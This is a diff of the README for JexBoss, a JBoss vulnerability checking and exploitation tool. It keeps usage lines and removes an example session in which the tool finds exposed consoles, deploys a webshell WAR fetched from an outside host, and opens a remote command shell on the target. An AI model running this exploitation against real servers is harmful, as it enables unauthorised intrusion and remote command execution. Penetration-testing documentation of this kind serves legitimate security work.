@@ -10,72 +10,3 @@ python jexboss.py https://site.com
1010python jexboss.py https://site.com:8443
1111
1212python jexboss.py 192.168.1.10:8080
13- --------------------------------------------
14-
15- ---- Example: -----------------------------
16-
17- $ python jexboss.py https://site-teste.com
18-
19- * --- JexBoss: Jboss verify and EXploitation Tool --- *
20- | |
21- | @author : João Filho Matos Figueiredo |
22- 23- | |
24- | @update : https://github.com/joaomatosf/jexboss |
25- #______________________________________________________ #
26-
27-
28- ** Checking Host: https://site-teste.com **
29-
30- * Checking web-console: [ OK ]
31- * Checking jmx-console: [ VULNERABLE ]
32- * Checking JMXInvokerServlet: [ VULNERABLE ]
33-
34-
35- * Do you want to try to run an automated exploitation via "jmx-console" ?
36- This operation will provide a simple command shell to execute commands on the server..
37- Continue only if you have permission!
38- yes/NO ? yes
39-
40- * Sending exploit code to https://site-teste.com . Wait...
41-
42-
43- * Info: This exploit will force the server to deploy the webshell
44- available on: http://www.joaomatosf.com/rnp/jbossass.war
45- * Successfully deployed code! Starting command shell, wait...
46-
47- * - - - - - - - - - - - - - - - - - - - - LOL - - - - - - - - - - - - - - - - - - - - *
48-
49- * https://site-teste.com :
50-
51- Linux fwgw 2.6.32-431.29.2.el6.x86_64 #1 SMP Tue Sep 9 21:36:05 UTC 2014 x86_64 x86_64 x86_64 GNU/Linux
52-
53- CentOS release 6.5 (Final)
54-
55- uid=509(jboss) gid=509(jboss) grupos=509(jboss) context=system_u:system_r:initrc_t: s0
56-
57- [ Type commands or "exit" to finish]
58- Shell> pwd
59- /usr/jboss-6.1.0.Final/bin
60-
61- [ Type commands or "exit" to finish]
62- Shell> hostname
63- fwgw
64-
65- [ Type commands or "exit" to finish]
66- Shell> ls -all /tmp
67- total 35436
68- drwxrwxrwt. 4 root root 4096 Nov 24 16:36 .
69- dr-xr-xr-x. 22 root root 4096 Nov 23 03:26 ..
70- -rw-r--r--. 1 root root 34630995 Out 15 18:07 snortrules-snapshot-2962.tar.gz
71- -rw-r--r--. 1 root root 32 Out 16 14:51 snortrules-snapshot-2962.tar.gz.md5
72- -rw-------. 1 root root 0 Set 20 16:45 yum.log
73- -rw-------. 1 root root 2743 Set 20 17:18 yum_save_tx-2014-09-20-17-18nQiKVo.yumtx
74- -rw-------. 1 root root 1014 Out 6 00:33 yum_save_tx-2014-10-06-00-33vig5iT.yumtx
75- -rw-------. 1 root root 543 Out 6 02:14 yum_save_tx-2014-10-06-02-143CcA5k.yumtx
76- -rw-------. 1 root root 18568 Out 14 03:04 yum_save_tx-2014-10-14-03-04Q9ywQt.yumtx
77- -rw-------. 1 root root 315 Out 15 16:00 yum_save_tx-2014-10-15-16-004hKzCF.yumtx
78-
79- [ Type commands or "exit" to finish]
80- Shell>
81-
0 commit comments